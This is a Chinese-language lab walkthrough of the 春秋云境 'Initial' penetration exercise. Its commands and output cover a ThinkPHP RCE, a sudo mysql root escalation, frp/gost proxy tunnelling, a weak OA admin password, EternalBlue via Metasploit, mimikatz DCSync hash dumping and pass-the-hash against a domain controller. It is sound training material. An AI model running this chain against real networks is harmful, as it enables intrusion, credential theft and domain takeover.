春秋云境 Initial

第一次玩渗透,玩的春秋云镜最简单的一个,做一下笔记

第一阶段

打开题目给了个外网url,肯定是先扫看看有什么开着的服务,有如下两种方式

nmap

第一种用nmap,最常见的一种用法如下 nmap –sT –sV -O url (-p …)

fscan

第二种是用fscan,有时候它能直接扫出存在的cve,最常见的使用方法如下 .\fscan.exe -h url

flag1

fscan扫出来直接就有ThinkPHP 5.0.23的一个RCE漏洞,直接用工具打。 ThinkphpGUI

打完之后就会给一个url和一个pass,用这个url和pass可以直接用蚁剑连接上去。然后查看当前权限

(www-data:/var/www/html) $ whoami
www-data
(www-data:/var/www/html) $ uname -a
Linux ubuntu-web01 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
(www-data:/var/www/html) $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(www-data:/var/www/html) $ sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
    (root) NOPASSWD: /usr/bin/mysql

这说明我们可以通过通过sudo高权限运行mysql,进而能够执行 root权限才能执行的命令,可以参考下面这篇文章,里面也有讲很多种提取的方法渗透测试: Linux提权精讲(三)之sudo方法第三期_nmap sudo 提权

这样就获得flag1了

(www-data:/var/www/html) $ sudo mysql -e '\! /bin/sh'
(www-data:/var/www/html) $ sudo mysql -e '\! ls /root'
flag
(www-data:/var/www/html) $ sudo mysql -e '\! ls /root/flag'
flag01.txt
(www-data:/var/www/html) $ sudo mysql -e '\! cat /root/flag/flag01.txt'
 ██     ██ ██     ██       ███████   ███████       ██     ████     ██   ████████ 
░░██   ██ ░██    ████     ██░░░░░██ ░██░░░░██     ████   ░██░██   ░██  ██░░░░░░██
 ░░██ ██  ░██   ██░░██   ██     ░░██░██   ░██    ██░░██  ░██░░██  ░██ ██      ░░ 
  ░░███   ░██  ██  ░░██ ░██      ░██░███████    ██  ░░██ ░██ ░░██ ░██░██         
   ██░██  ░██ ██████████░██      ░██░██░░░██   ██████████░██  ░░██░██░██    █████
  ██ ░░██ ░██░██░░░░░░██░░██     ██ ░██  ░░██ ░██░░░░░░██░██   ░░████░░██  ░░░░██
 ██   ░░██░██░██     ░██ ░░███████  ░██   ░░██░██     ░██░██    ░░███ ░░████████ 
░░     ░░ ░░ ░░      ░░   ░░░░░░░   ░░     ░░ ░░      ░░ ░░      ░░░   ░░░░░░░░  
Congratulations!!! You found the first flag, the next flag may be in a server in the internal network.
flag01: flag{60b53231-

第二阶段

从外网拿到shell后,接下来就是要考虑内网横向移动,我们的最终目的是获取域控上的 flag,我们先用蚁剑上传 fscan,扫描一下内网中有那些存活机器

这里要记得给fscan执行权限chmod 777 fscan,否则会执行不了。通过ip a我们可以发现网段为172.22.1.0/24

网段

172.22.1.0/24 是一种表示 IP 地址范围的格式,叫做 CIDR(无类别域间路由,Classless Inter-Domain Routing)。它是一种灵活的方式来表示一个网络范围,不同于传统的 A、B、C 类 IP 划分方式。以下是 172.22.1.0/24 的具体含义和解释。

  1. IP 地址部分:172.22.1.0 172.22.1.0 是一个 IP 地址,表示一个子网的网络地址(network address)。 在 172.22.1.0/24 中,这个 IP 并不是表示单个设备,而是整个子网的网络部分。
  2. 子网掩码部分:/24 172.22.1.0/24 中的 /24 是子网掩码的简写,代表该子网的前 24 位用于标识网络部分,其余 8 位用于标识主机。 /24 对应的子网掩码是 255.255.255.0。它表示网络的前 24 位是固定的,后面的 8 位可以变化,用来分配给主机。
  3. 网络范围的计算 172.22.1.0/24 的含义是:

网络地址:172.22.1.0 是网络的开始地址。 子网范围:从 172.22.1.1 到 172.22.1.254 是有效的主机 IP 地址。总共有 256 个 IP 地址(0-255),其中第一个地址(172.22.1.0)是网络地址,最后一个地址(172.22.1.255)是广播地址,剩余的 254 个地址(从 172.22.1.1 到 172.22.1.254)是可以分配给主机的

蚁剑的一个小毛病

  • 之前以为蚁剑很好用,但是会有个小毛病。如果命令行输出太多东西会卡住没显示,所以先把输出写到文件中,然后再cat比较好
./fscan -h 172.22.1.0/24 >> out.txt

(www-data:/var/www/html) $ cat out.txt
172.22.1.2:88 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[*] WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] OsInfo 172.22.1.2    (Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[+] MS17-010 172.22.1.21    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

内网信息收集

172.22.1.2:DC域控 172.22.1.21:Windows的机器并且存在MS17-010 漏洞 172.22.1.18:信呼OA办公系统

而我们的最终目标即为DC域控,我们首先是对OA办公系统进行攻击,在这之前我们要先进行内网穿透,其目的是使我们能够在攻击机访问内网的服务

内网穿透

方法一frp

第一种方法frp, frp的github项目

其中frpc和frps是可执行文件,我们需要将frps和frps.ini上传到我们的vpsfrpc和frpc.ini上传到我们的靶机

下面是我相关文件的配置

  • frpc.ini:
[common] 
server_addr = 123.249.99.71 # 我vps的ip地址
server_port = 7000  

[socks5] 
type = tcp   
plugin = socks5  
remote_port = 798
  • frps.ini:
[common]
bind_port = 7000

这里要确保你的 vps 开启了 7000 和 798 端口,在vps执行./frps -c frps.ini 、然后在靶机执行./frpc -c frpc.ini

  • 最后一步是用proxifier设置全局代理,注意这里的Address设置为vps的地址,端口为798

方法二gost

第二种方法是用gost这个,这个不需要vps都可以使用, gost的github项目

最常见的用法就是通过外网RCE后,把gost这个可执行文件传上去,然后gost -L=:8080,这个会作为标准HTTP/SOCKS5代理

最后一步也是设置全局代理,但是注意这里的Address为题目的外网地址,端口为8080

内网穿透与burpsuite

内网穿透后避免不了还想要抓包分析,穿透之后的burpsuite的proxy还是设置的和SwitchyOmega里面的一样就可以抓包了

flag2

配置完后就能直接在浏览器中输入172.22.1.18进行访问了,可以看到该系统的版本是2.2.8(这个是重点,可以通过搜索系统的版本号看看有没有已经给发现的漏洞)

这里存在一个弱口令,admin/admin123 (这里可以抓包然后burp来爆破即可)

我们直接在Administrator用户的目录下找到 flag2

 ___    ___ ___  ________  ________  ________  ________  ________   ________     
|\  \  /  /|\  \|\   __  \|\   __  \|\   __  \|\   __  \|\   ___  \|\   ____\    
\ \  \/  / | \  \ \  \|\  \ \  \|\  \ \  \|\  \ \  \|\  \ \  \\ \  \ \  \___|    
 \ \    / / \ \  \ \   __  \ \  \\\  \ \   _  _\ \   __  \ \  \\ \  \ \  \  ___  
  /     \/   \ \  \ \  \ \  \ \  \\\  \ \  \\  \\ \  \ \  \ \  \\ \  \ \  \|\  \ 
 /  /\   \    \ \__\ \__\ \__\ \_______\ \__\\ _\\ \__\ \__\ \__\\ \__\ \_______\
/__/ /\ __\    \|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__| \|__|\|_______|
|__|/ \|__|                                                                      


flag02: 2ce3-4813-87d4-

Awesome! ! ! You found the second flag, now you can attack the domain controller.

第三阶段

kali代理设置

接下来我们就对ip 172.22.1.21进行渗透,这里需要用到渗透框架Metasploit Framework,kali自带这个框架,这里的攻击机我选用kali(windows也可以安装Metasploit Framework,不过要在kali设置代理)。我们首先要在kali中设置socks5代理,否则我们无法访问其内网的环境。 在kali中设置代理比windows简单很多,他自带了一个proxychains4工具,我们只需要编辑/etc/proxychains4.conf文件:

  • 如果是用frp,在最下面的ProxyList上加上socks5 vps 798 即可
  • 如果是用gost,在最下面加上socks5 题目中外网的ip 8080

但是最关键的一点来了,因为不像windows有proxifier那种全局代理,这里代理后运行任何软件如果想走代理,需要这样做,这样才能正确地走代理访问到内网,不然默认是不会走代理的,所以用什么模块即使设置了RHOSTS,也会connection失败

proxychains msfconsole

flag3

永恒之蓝漏洞直接msf一把梭

use exploit/windows/smb/ms17_010_eternalblue  # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid  # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21  # 设置靶机的ip
run # 发起攻击

紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag ,也就是说我们最后的flag 在 windows DC 域控制器上面 接下来是进行 DCSync 攻击,这里简单解释一下: 首先,什么是 DCSync

在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash

也就是说我们可以通过DCSync来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限

Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户

现在我们回看一开始fscan的扫描结果

[+] MS17-010 172.22.1.21    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

我们可以看到我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件,于是我们在 msf 中依次输入以下命令来获取用户的 hash

load kiwi  # 调用mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit  # 导出域内所有用户的信息(包括哈希值)

最后也是注意crackmapexec前要加个proxychains

┌──(kali㉿kali)-[~/Desktop]
└─$ proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing RDP protocol database
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing FTP protocol database
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         172.22.1.2      445    DC01             [*] Windows Server 2016 Datacenter 14393 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
SMB         172.22.1.2      445    DC01             [+] xiaorang.lab\administrator:10cf89a850fb1cdbe6bb432b859164c8 (Pwn3d!)
SMB         172.22.1.2      445    DC01             [+] Executed command 
SMB         172.22.1.2      445    DC01             ___   ___
SMB         172.22.1.2      445    DC01             \\ / /       / /    // | |     //   ) ) //   ) )  // | |     /|    / / //   ) )
SMB         172.22.1.2      445    DC01             \  /       / /    //__| |    //   / / //___/ /  //__| |    //|   / / //
SMB         172.22.1.2      445    DC01             / /       / /    / ___  |   //   / / / ___ (   / ___  |   // |  / / //  ____
SMB         172.22.1.2      445    DC01             / /\\     / /    //    | |  //   / / //   | |  //    | |  //  | / / //    / /                                                                         
SMB         172.22.1.2      445    DC01             / /  \\ __/ /___ //     | | ((___/ / //    | | //     | | //   |/ / ((____/ /                                                                         
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             flag03: e8f88d0d43d6}
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             Unbelievable! ! You found the last flag, which means you have full control over the entire domain network. 

相关工具解释

  • crackmapexec
crackmapexec smb: CrackMapExec 是一个常用于渗透测试的工具,它支持对 SMB、LDAP、WinRM、SSH 等多种协议的攻击和利用,这里选择的是 smb 模块,针对 SMB 服务进行操作。
172.22.1.2: 目标机器的 IP 地址,即你要攻击的 SMB 服务器。
-u administrator: 指定用于登录的用户名,这里是 administrator。
-H 10cf89a850fb1cdbe6bb432b859164c8: 使用 NTLM hash 来代替明文密码登录,这里给出的是该账户的 NTLM hash。
-d xiaorang.lab: 指定目标机器的域,域名是 xiaorang.lab。
-x "type Users\Administrator\flag\flag03.txt": 在目标机器上执行命令。这里执行的命令是 Windows 的 type 命令,用于查看文件内容,Users\Administrator\flag\flag03.txt 表示要读取的文件路径。
  • load kiwi
这条命令的含义是加载 Kiwi 模块。Kiwi 是 CrackMapExec 中对 Mimikatz 的集成实现,而 Mimikatz 是一个非常著名的 Windows 安全工具,主要用于从内存中提取密码、哈希值、PIN 码和 Kerberos 票据等信息。在这里,通过 load kiwi,你启用了 Mimikatz 的相关功能,可以执行类似 Mimikatz 的命令。
  • kiwi_cmd “lsadump::dcsync /domain:xiaorang.lab /all /csv”
这一命令的作用是调用 Kiwi(即 Mimikatz)模块中的 lsadump::dcsync 命令来执行针对域控制器的 DCSync 攻击。

解释:
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv": 通过 Kiwi 模块执行 mimikatz 的命令。
lsadump::dcsync: 这是 Mimikatz 的一个非常强大的功能,叫做 DCSync,它允许你模拟域控制器的行为,来提取域内所有用户的密码数据,而不需要直接在域控制器上执行命令。
/domain:xiaorang.lab: 指定要攻击的域名为 xiaorang.lab。
/all: 表示提取所有域用户的 NTLM 哈希值和密码数据。
/csv: 以 CSV 格式输出结果。